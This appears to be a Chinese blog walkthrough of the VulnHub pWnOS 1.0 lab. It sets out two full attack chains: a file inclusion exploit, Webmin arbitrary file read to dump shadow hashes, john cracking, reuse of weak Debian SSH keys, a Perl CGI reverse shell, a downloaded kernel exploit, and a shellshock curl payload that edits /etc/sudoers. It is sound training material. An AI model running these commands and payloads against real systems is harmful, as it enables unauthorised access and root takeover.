009 - VulnHub靶机:pWnOS1.0学习笔记——文件包含+密码破解+Perl Cgi反弹shell + linux内核漏洞提权+shellshock漏洞提权

目录

# 学习环境准备

解法一

一、总结

二、详细过程

1. 信息收集

1.1 主机发现

1.2.1 TCP端口开放情况扫描 

​编辑

1.UDP端口开放情况扫描 

1.3 端口详细信息扫描 

1.4 nmap漏洞脚本扫描

1.5 目录扫描

2. 80端口web服务渗透测试

2.1 web页面漏洞查找

2.2 文件包含漏洞利用 

2.3 其他页面查看

3. 10000端口web服务渗透测试

3.1 web页面漏洞查找

3.2 searchsploit漏洞查找

3.3 下载.pl扩展名的漏洞脚本

3.4 任意文件读取漏洞利用

3.4.1 查看/etc/passwd

3.4.2 查看/etc/shadow 

3.5 john密码破解

3.6 ssh获取服务器权限

4 权限提示

4.1 服务器文件权限分析

4.2 webshell制作

4.2.1 为什么要使用.cgi作为shell文件的扩展名 

4.3 webshell上传

4.4 perl cgi反弹shell获取root权限

解法二

一、总结

二、详细过程

1. 利用解法一的任意文件读取漏洞查看/etc/passwd

1.1 思路:当我们看到/etc/passwd文件中存在多个用户的时候,我们要想一下这些用户有没有ssh相应的文件

2. 查看ssh密钥信息

2.1 思路:当我们遇到文件泄露应该怎么去利用?

3. 用公钥信息破解出私钥

4. 使用破解到的私钥ssh服务器

4.1 思路:渗透测试过程中ssh,经常会碰到因为版本的问题、协议的问题、加密方式的问题,导致ssh登录的过程提示各种报错,要学会解决这些问题。

5. 权限提升

5.1 linux内核提权

5.1.1 linux内核版本漏洞搜索、分析及选择

5.1.2 漏洞脚本上传及利用

5.2 shellshock提权

5.2.1 shellshock漏洞分析及验证

5.2.1.1 思路:bash版本小于4.3,一般会存在shellshock漏洞

5.2.2 shellshock漏洞利用

5.2.2.1 2017.pl漏洞脚本分析

5.2.2.2 shellshock漏洞利用


# 学习环境准备

靶机下载地址:pWnOS: 1.0 ~ VulnHub

攻击机Kali ip:10.10.10.128

解法一

一、总结

1.1 主机发现

sudo nmap -sn 10.10.10.0/24

1.2.1 端口开放情况扫描

sudo nmap -sT --min-rate=10000 -p- 10.10.10.136

1.2.2 UDP端口开放情况扫描

sudo nmap -sU --min-rate=10000 -p- 10.10.10.136

1.3 端口详细信息扫描

sudo nmap -sT -sV -O -p 22,80,139,445,10000 10.10.10.136

1.4 nmap漏洞脚本扫描

sudo nmap --script=vuln -p 22,80,139,445,10000 10.10.10.136

1.5 目录扫描

dirb http://10.10.10.136

2.1 80页面漏洞查找

2.2 利用文件包含漏洞查看/etc/passwd 

3.1 10000页面漏洞查找

3.2 searchsploit webmin 查找可利用漏洞

3.3 利用任意文件读取漏洞查看/etc/shadow

3.4 john破解密码

3.5 ssh连接服务器,分析服务器文件信息,发现webmin目录是root权限运行的,可以利用权限配置不当进行提权

4.1 webshell上传

4.2 perl cgi反弹shell获取root权限

二、详细过程

1. 信息收集

1.1 主机发现

sudo nmap -sn 10.10.10.0/24

1.2.1 TCP端口开放情况扫描 

sudo nmap -sT --min-rate=10000 -p- 10.10.10.136 

1.UDP端口开放情况扫描 

sudo nmap -sU --min-rate=10000 -p- 10.10.10.136 

1.3 端口详细信息扫描 

sudo nmap -sT -sV -O -p 22,80,139,445,10000 10.10.10.136

1.4 nmap漏洞脚本扫描

sudo nmap --script=vuln -p 22,80,139,445,10000 10.10.10.136

1.5 目录扫描

sudo dirb http://10.10.10.136

2. 80端口web服务渗透测试

2.1 web页面漏洞查找

点击next,跳转至另一个页面

点击Please Help! 跳转至新页面,发现了?name,尝试一下文件包含

2.2 文件包含漏洞利用 

 ../../../../../etc/passwd

被骂了,这个页面文件包含好像没什么用

 返回上一个页面,再试试文件包含

又报错了,报错信息显示include()尝试打开一个空字符串 '' 作为文件名。因为这是一个无效的文件路径,PHP无法找到要包含的文件,所以引发了这个警告。

证明是有文件包含的功能的,只是想要打开的文件不是我们输入的'../../../../../etc/passwd',那我们尝试一下其他参数,多试试总不会有错

root:x:0:0:root:/root:/bin/bash                                                    
daemon:x:1:1:daemon:/usr/sbin:/bin/sh   
bin:x:2:2:bin:/bin:/bin/sh                                                                                                            
sys:x:3:3:sys:/dev:/bin/sh                                                         
sync:x:4:65534:sync:/bin:/bin/sync                                        
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh    
lp:x:7:7:lp:/var/spool/lpd:/bin/sh                                        
mail:x:8:8:mail:/var/mail:/bin/sh       
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh                                                                               
proxy:x:13:13:proxy:/bin:/bin/sh                                          
www-data:x:33:33:www-data:/var/www:/bin/sh                                                                         
backup:x:34:34:backup:/var/backups:/bin/sh                                                                            
list:x:38:38:Mailing List Manager:/var/list:/bin/sh                                                                      
irc:x:39:39:ircd:/var/run/ircd:/bin/sh                                    
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh                             
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh                                                                
dhcp:x:100:101::/nonexistent:/bin/false                                   
syslog:x:101:102::/home/syslog:/bin/false                                                                                
klog:x:102:103::/home/klog:/bin/false                                     
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false                                                       
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin                                                                   
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash                                                        
obama:x:1001:1001::/home/obama:/bin/bash                                  
osama:x:1002:1002::/home/osama:/bin/bash                                  
yomama:x:1003:1003::/home/yomama:/bin/bas

再试试etc/shadow

 访问被拒绝了,应该是权限不够。/etc/shadow一般需要root权限才可以访问

2.3 其他页面查看

刚才目录扫描发现了其他几个页面,访问php

有一个 phpMyAdmin路径,需要进行登录,我们没有密码,尝试其他路径

3. 10000端口web服务渗透测试

3.1 web页面漏洞查找

发现了Webmin关键字,应该是一个CMS

3.2 searchsploit漏洞查找

sudo searchsploit webmin

打靶机尽量不选择metasploit的,分析一下搜索结果选择这两任意文件泄露的漏洞脚本进行利用

3.3 下载.pl扩展名的漏洞脚本

sudo searchsploit webmin -m 2017、

使用了 searchsploit 工具来搜索 Exploit Database(Exploit-DB)中的漏洞利用,然后将其镜像(复制)到当前目录。

-m 是镜像选项,表示将漏洞利用代码复制到当前目录。
2017 是 Exploit Database 的漏洞利用编号(EDB-ID)。

 漏洞脚本详细信息:Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure - Multiple remote ExploitWebmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure . CVE-2006-3392 . remote exploit for Multiple platformicon-default.png?t=N7T8https://www.exploit-db.com/exploits/2017

3.4 任意文件读取漏洞利用

看下利用方式,需要给到url、端口信息、目标文件

3.4.1 查看/etc/passwd

./2017.pl 10.10.10.136 10000 /etc/passwd 0 

3.4.2 查看/etc/shadow 

./2017.pl 10.10.10.136 10000 /etc/shadow 0

root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::

shadow文件一般都需要系统级的用户,或比较高权限的用户才可以看到 

3.5 john密码破解

sudo john hash.lst --wordlist=/usr/share/wordlists/rockyou.txt

破解出来一个密码,尝试在刚才的两个登录地址使用

两个登陆框都失败了 ,可以尝试下ssh

3.6 ssh获取服务器权限

这条错误信息表示SSH客户端无法与SSH服务器建立连接,因为双方没有共享的"主机密钥类型"。主机密钥类型定义了服务器用于身份验证的加密算法。

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.136

ssh连接成功,查看服务器信息

4 权限提示

4.1 服务器文件权限分析

通过查看var路径下的信息我们发现刚刚我们利用的任意文件读取漏洞的'webmin'是以root权限运行的,所以我们可以尝试继续利用任意文件读取漏洞和该目录权限配置不当进行提权。

刚刚我们可以利用该漏洞成功读取/etc/shadow文件也说明了是有root权限的。

上传webshell,执行,就有可能获得root权限。

4.2 webshell制作

4.2.1 为什么要使用.cgi作为shell文件的扩展名 

Perl使用`.cgi`作为文件扩展名的一个主要原因是,它最初被广泛用于Common Gateway Interface (CGI)程序,尤其是在Web服务器环境中。这种传统仍然存在,即使今天许多Web开发技术已经进化到使用其他方式处理服务器端逻辑。

### 什么是CGI?
Common Gateway Interface (CGI) 是一种标准协议,允许Web服务器与外部程序进行通信,通常用于处理用户提交的表单数据、生成动态网页等。Perl作为一种灵活且易于编写脚本的语言,早期广泛用于编写CGI脚本。

### 为什么使用`.cgi`扩展名?
以下是为什么Perl脚本在Web服务器上经常使用`.cgi`扩展名的一些原因:

1. **明确标识CGI脚本**:
   使用`.cgi`扩展名可以清楚地表明该文件是用于Web服务器上执行的CGI脚本,而不是普通的Perl脚本或其他类型的文件。

2. **Web服务器配置**:
   Web服务器(如Apache)通常根据文件扩展名来确定如何处理文件。例如,如果一个文件以`.cgi`结尾,服务器知道它应该通过CGI处理程序来执行,而不是直接返回给客户端。这有助于服务器配置和安全性。

3. **传统与兼容性**:
   在早期的Web开发中,CGI是生成动态内容的主要方法之一。很多旧的Web应用程序都使用`.cgi`扩展名,因此为了保持兼容性和惯例,许多开发者继续使用它。

4. **安全性**:
   使用`.cgi`扩展名可以帮助管理员和开发者识别哪些文件可能包含可执行代码,并确保这些文件得到适当的处理和保护,防止未经授权的执行。

### 今天的Perl和CGI
如今,Web开发技术已经发生了很大的变化,许多现代应用程序使用框架和更先进的服务器端技术。然而,CGI仍然在一些场景下使用,特别是遗留系统或较简单的Web应用程序中。

在现代开发中,Perl可以用来编写各种类型的脚本和应用程序,而不仅仅是CGI。在这些情况下,文件扩展名可能会根据用途而变化,比如`.pl`(一般的Perl脚本)、`.pm`(Perl模块),等等。

如果你在现代Web开发中使用Perl,可能会考虑使用更现代的技术,例如Perl的Web框架(如Catalyst、Mojolicious等),这些框架不一定需要CGI。无论你选择哪种方式,确保文件的安全性和正确配置是关键。

修改脚本信息,将反弹shell的ip改成我们攻击机kali的ip

sudo vim shell.cgi

4.3 webshell上传

php开启一个web服务

sudo php -S 0:80

在命令行中,sudo php -S 0:80表示使用PHP内置服务器监听端口80,并使用sudo来提升权限。下面是对这个命令的解释和一些需要注意的事项:

命令解释

  • sudo:在Linux和macOS等类Unix系统中,sudo用于以超级用户(管理员)的身份执行命令。这在需要提升权限时很常见。
  • php -S:这是PHP内置服务器的命令,用于启动一个简单的Web服务器。它通常用于开发环境,方便快速启动一个Web服务器以测试或开发。
  • 0:80:指定服务器监听的地址和端口。0表示监听所有可用的网络接口,80是HTTP的默认端口。

我们先切换到vmware用户的家目录下,确保我们对下载到的文件(shell脚本)可以进行操作。

4.4 perl cgi反弹shell获取root权限

./2017.pl 10.10.10.136 10000 /home/vmware/shell.cgi 0

 成功拿到root权限!!!


解法二

一、总结

1. 利用任意文件读取漏洞查看/etc/passwd信息

2. 尝试搜索ssh密钥信息(思路:看到多个用户就想到查看ssh相关文件)

3. 使用搜索到的公钥信息破解私钥

4. 使用私钥ssh服务器(思路:ssh报错处理)

5. 利用linux内核漏洞提权(思路:内核漏洞搜索方法)

6. 利用shellshock漏洞提权(思路:bash版本小于4.3,一般会存在shellshock漏洞)

二、详细过程

1. 利用解法一的任意文件读取漏洞查看/etc/passwd

./2017.pl 10.10.10.136 10000 /etc/passwd 0

1.1 思路:当我们看到/etc/passwd文件中存在多个用户的时候,我们要想一下这些用户有没有ssh相应的文件

服务器管理员在操作服务器时:要么使用密码登录;要么使用ssh密钥(公私钥)登录(免密码)。

一般ssh公钥都在.ssh/authorized_keys文件里,很少会有管理员去修改这个路径

authorized_keys 授权的密钥        authorized 授权

2. 查看ssh密钥信息

./2017.pl 10.10.10.136 10000 /home/vmware/.ssh/authorized_keys 0

对于这种方式我们一定要进行尝试,如果他使用了ssh免密登录,我们就可以进行利用。

渗透测试一定要动手尝试

第一个用户存在ssh公钥,我们就可以先不尝试其他用户了,如果这个用户可以登录就使用这个用户,如果登录不了,我们在尝试其他用户。一步一步来,不要着急

2.1 思路:当我们遇到文件泄露应该怎么去利用?

我们要知道服务器都有哪些文件可能是敏感文件,需要经验积累

也有一些库可以做参考(Linux和Windows)

https://github.com/carlospolop/Auto_Wordlists/tree/main/wordlists

这两个文件分别对应的是linux和windows系统中的敏感文件 

在file_inclusion_linux.txt文件中搜索.ssh可以看到我们刚才查找的文件

3. 用公钥信息破解出私钥

authorized_keys:这个文件是公钥,非对称加密时,公钥一定是放在服务器端的,私钥都是用户自己存储的。登录时使用自己的私钥和服务器端的公钥进行匹配

现在我们拿到了公钥,我们并没有私钥。一般我们需要拿自己的私钥的库进行碰撞,来获取正确的私钥。

现在需要用到伪随机数生成器的库来碰撞得到私钥

非对称加密需要涉及到prng,努力让自己记住这件事。

searchsploit prng

prng:pseudo random number generator(伪随机数生成器)

我们选择和OpenSSL相关的 ,下载5622.txt

searchsploit prng -m 5622

 cat 5622.txt

  1. 下载文件
  2. 将其解压到一个目录
  3. 进入/root/目录。ssh/authorized_keys一个2048位的ssh RSA密钥,在更新的debian上生成(这是这个漏洞将破坏的密钥)
  4. 运行perl脚本,并为它提供提取上述bzip2的位置。(用我们找到的密钥和下载的密钥库进行匹配) 
    1. 这个 Perl 脚本的目的是使用多个 SSH 私钥尝试连接到 SSH 服务器。
  5. 过一会就可以享受你的shell了

我们需要先下载这个文件  

解压文件

sudo tar vjxf 5622.tar.bz2

  • tar:这是一个工具,用于创建和提取档案(或称为存档文件)。通常用于将许多文件和目录打包在一起,或者从档案中提取文件。

  • vtar 命令的一个选项,表示 "verbose",即显示详细信息。在提取时,-v 将列出正在提取的文件。

  • j:这是 tar 的一个选项,表示使用 bzip2 压缩。bzip2 是一种压缩格式,与 gzip 相比,通常具有更好的压缩比。

  • xtar 的一个选项,表示 "extract"(提取),即从档案中提取文件。

  • f:这个选项表示 "file",用于指定目标文件的名称。在这个例子中,目标文件是 5622.tar.bz2

结合在一起,sudo tar vjxf 5622.tar.bz2 的含义是:

  1. 使用管理员权限执行 tar 命令。
  2. 解压缩 5622.tar.bz2 文件。
  3. 使用 bzip2 解压缩方式。
  4. 在解压缩过程中显示详细信息。

解压完,多了一个rsa目录,这个目录下有很多名称一样文件对,分别是公钥和私钥,扩展名带有.pub的是公钥,

在公钥中,可以和我们刚才拿到的公钥(.ssh/authorized_keys)进行搜索,搜索到之后我们拿到同名的私钥文件就可以登录到靶机。

我们现在不用5622.txt中的方式操作。

我们自己在解压到的目录中进行搜索,搜索时我们只需要拿出密钥的前三四十个字符进行匹配就好。

sudo grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJ' 

  • -lgrep 的一个选项,表示 "list"(列出)。当使用 -l 时,grep 会输出包含匹配字符串的文件名,而不是显示匹配的文本。

  • -r:这是 grep 的一个选项,表示 "recursive"(递归)。它会搜索指定目录中的所有文件及其子目录。

  • 以管理员权限递归地在当前目录及其子目录中查找所有包含特定字符串 'AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJ' 的文件。

  • 输出包含该字符串的文件名。

假设我们没有搜索到,我们就可以尝试一下其他用户

perl 2017.pl 10.10.10.136 10000 /home/obama/.ssh/authorized_keys 0

sudo grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60'

我们可以将搜索到的公钥信息和我们在靶机上拿到的公钥信息进行对比,发现密钥是完全一样的。

根据公钥信息,我们可以拿到对应的私钥文件,也就是不带.pub扩展名的

正好我们也可以根据搜索到的文件查找一下,可以看到两个名称一样的文件,一个是带有.pub扩展名的公钥文件,一个是没有扩展名的私钥文件

将私钥文件拷贝到我们的工作目录下 

sudo cp dcbe2a56e8cdea6d17495f6648329ee2-4679 ../../

 

4. 使用破解到的私钥ssh服务器

sudo ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.136

  • -i dcbe2a56e8cdea6d17495f6648329ee2-4679-i 选项指定 SSH 连接时使用的私钥文件。这意味着在连接到远程服务器时,SSH 将使用该私钥进行身份验证。

当你尝试使用 SSH 连接到远程服务器时,出现“Unable to negotiate with 10.10.10.136 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss”错误信息,意味着 SSH 客户端和远程服务器无法就用于安全通信的主机密钥类型达成一致。

如果需要允许使用 ssh-rsa,ssh-dss,可以在 SSH 命令中添加

-o HostKeyAlgorithms=ssh-rsa,ssh-dss

sudo ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.136 -o HostKeyAlgorithms=ssh-rsa,ssh-dss

我们已经给指定了密钥,但是ssh还是找我们要obama用户的密码,可以用-vv看一下原因

 

sign_and_send_pubkey: no mutual signature supported

不支持相互签名,应该不是密钥的问题,可能还是类型(ssh-rsa,ssh-dss)的问题,需要相同的pubkey

4.1 思路:渗透测试过程中ssh,经常会碰到因为版本的问题、协议的问题、加密方式的问题,导致ssh登录的过程提示各种报错,要学会解决这些问题。

我们给一个pubkey,继续进行ssh

sudo ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.136 -o HostKeyAlgorithms=ssh-rsa,ssh-dss -o PubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss

成功获得系统初始shell

5. 权限提升

5.1 linux内核提权
5.1.1 linux内核版本漏洞搜索、分析及选择

查看linux版本信息

uname -a

uname -r

 linux内核版本:2.6.22-14-server

不主张使用linux内核提权,因为内核漏洞对系统损伤比较大,容易让目标机器宕机或者是通知管理员有人操作导致渗透过程中断。不是特别必要尽量不用内核提权。

searchsploit 搜索linux内核漏洞

searchsploit linux kernel 2.6.2 | grep 'Privilege Escalation'

思路:搜索时不要太细,不要完全复制uname-r的信息进行搜索,因为很多漏洞是多版本通用的,精确到某一个小版本找到的漏洞可能比较少,不一定有精确到某个版本的漏洞信息可以使用。

比如我们的内核版本是2.6.22-14-server,我们搜索2.6.2 

在利用漏洞时一定要多尝试,多利用几个试试,不一定一个就成功

我们选择版本范围比较广的,精确到某一个具体小版本的漏洞一般利用比较苛刻。

选择5092进行下载

searchsploit linux kernel 2.6.2 -m 5092 

5.1.2 漏洞脚本上传及利用

将下载到的漏洞脚本上传到目标机器,使用PHP开启一个web服务 

sudo php -S 0:8080

PHP -S 是一个用于启动 PHP 内置开发服务器的命令。这个服务器非常适合用于开发和测试目的,因为它可以快速启动,不需要配置一个完整的 web 服务器环境,如 Apache 或 Nginx。

在靶机上下载5092.c

wget http://10.10.10.128:8080/5092.c

 使用gcc进行编译

gcc 5092.c -o 5092 

执行编译完的文件5092

./5092

成功获取到root权限。

5.2 shellshock提权
5.2.1 shellshock漏洞分析及验证

查看linux版本信息

uname -a

5.2.1.1 思路:bash版本小于4.3,一般会存在shellshock漏洞

我们看到linux版本比较旧,可以看一下bash的版本,bash版本小于4.3会存在shellshock的漏洞

bash --version

我们看到bash的版本时3.2.25,可以验证一下shellshock漏洞

验证shellshock的漏洞语句比较固定

env x='() { :; }; echo "It is vulnerable"' bash -c date

这个命令是为了检测 Bash Shell 的一种漏洞,叫做 "Shellshock"。这种漏洞在 2014 年被发现,允许攻击者通过环境变量注入任意命令,从而执行恶意代码。

具体来说,这个命令的目的是通过向 Bash 环境变量 x 注入一段代码来测试 Bash 是否易受 Shellshock 漏洞的影响。如果 Bash 易受此漏洞影响,那么在解析环境变量时,它会执行注入的代码。在这个示例中,x 的值是一个函数定义,后面跟着一个恶意命令 echo "It is vulnerable"。这个命令行最后使用 bash -c date 来运行一个简单的 Bash 命令。

如果 Bash 被 Shellshock 漏洞感染,那么在执行 bash -c date 时,它会打印 "It is vulnerable",表明漏洞存在。而如果 Bash 已经修复了这个漏洞,那么这个命令会仅仅输出日期信息,不会输出 "It is vulnerable"。

重要提示:尝试这种命令应该谨慎进行,尤其是在生产环境中。执行恶意代码可能带来安全风险和数据损失。更好的做法是通过系统更新确保 Bash 等关键软件处于最新状态,以防止已知漏洞。

如果您正在测试系统的安全性或 Bash 的漏洞,请确保遵守合法的范围和使用限制,确保环境中的所有软件都已更新,并且遵循安全实践。

输出了It is Vulnerable,证明存在shellshock漏洞

5.2.2 shellshock漏洞利用

在解法一中我们知道系统运行的是cgi,在之前10000页面web渗透的过程中网站路径也可以看到后缀是.cgi

http://10.10.10.136:10000/session_login.cgi

 我们新建一个文件,让系统执行bash环境,新建到cgi文件中,

注:halo.cgi文件的内容应该是“#!/bin/bash”,没有!就变成了注释

按照shellshock的利用方式,我们在新建的文件中(halo.cgi)成功执行了就有可能在这个bash环境中成功提权。

我们还是需要利用到之前的2017.pl任意文件泄露漏洞,用来读取我们刚刚新创建的cgi文件。

5.2.2.1 2017.pl漏洞脚本分析

但是在执行这个文件的过程中我们需要带上shellshock语句,所以我们需要分析一下2017.pl文件,分析其进行任意文件读取的过程,在过程中加入shellshock利用语句,让他在读取文件的同时执行shellshock命令。

vim 2017.pl

分析完漏洞利用脚本,其实质就是如下路径。'..%01'不用写太多,多放几个确保能到根目录即可。

在浏览器验证一下我们分析的结果。

http://10.10.10.136:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd

可以读取到/etc/passwd文件,分析的没毛病。

5.2.2.2 shellshock漏洞利用

shellshock的利用在主机头中是一个非常典型的场景,我们使用curl

sudo curl http://10.10.10.136:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd -A '() { :; }; /bin/echo "obama ALL=(ALL)ALL" >> /etc/sudoers'

-A--user-agent 选项用于设置HTTP请求中的用户代理(User-Agent)字符串。

 现在我们读取我们刚才创建的halo.cgi文件

报错,没有权限,刚才创建halo.cgi文件时忘记赋予执行权限了,chmod给一下权限

赋完权限,再次执行

报错信息显示,丢失Content-Type 头文件,不用管他,我们直接sudo -l看下现在用户有哪些权限,现在应该是会有ALL=(ALL)ALL内容的

sudo -l 

 sudo命令需要输入obama用户的密码,但是我们没有obama的密码。

没有密码,我们要放弃吗?当然不

因为当前步骤是提权步骤,我们在解法一获得了vmware/h4ckm3用户名密码信息,我们可以使用这个用户进行shellshock漏洞利用来提权。

 我们重新创建一个halo.cgi文件,给一行bash环境信息

#!/bin/bash 是一种 "shebang"(又称 "hashbang"),它位于脚本的顶部,用来指定运行脚本的解释器。在这个例子中,它指示系统在执行脚本时使用 Bash 解释器。

详细解释:

  • #! 是 shebang 的前缀,表示这个文件是可执行脚本,并且接下来的内容指定了解释器。
  • /bin/bash 指定了 Bash 解释器的路径。系统将使用这个解释器来执行脚本的内容。

用法:

  • 当你创建一个 Bash 脚本文件时,将 #!/bin/bash 放在文件的开头。这是一个约定,告诉操作系统这个脚本使用 Bash 解释器执行。
  • 当用户在命令行中运行脚本时,系统会查看文件的开头,如果找到 shebang 行,就会调用指定的解释器。

示例

#!/bin/bash
echo "Hello, World!"

总的来说,#!/bin/bash 是一个标准方法,用于告诉系统如何解释和执行 Bash

再次使用curl执行一下 

sudo curl http://10.10.10.136:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/halo.cgi -A '() { :; }; /bin/echo "vmware ALL=(ALL)ALL" >> /etc/sudoers'

 查看sudo -l前后对比,一开始没有sudo权限,执行完shellshock后有了sudo权限

sudo /bin/bash

成功得到root权限。 

  • 56
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值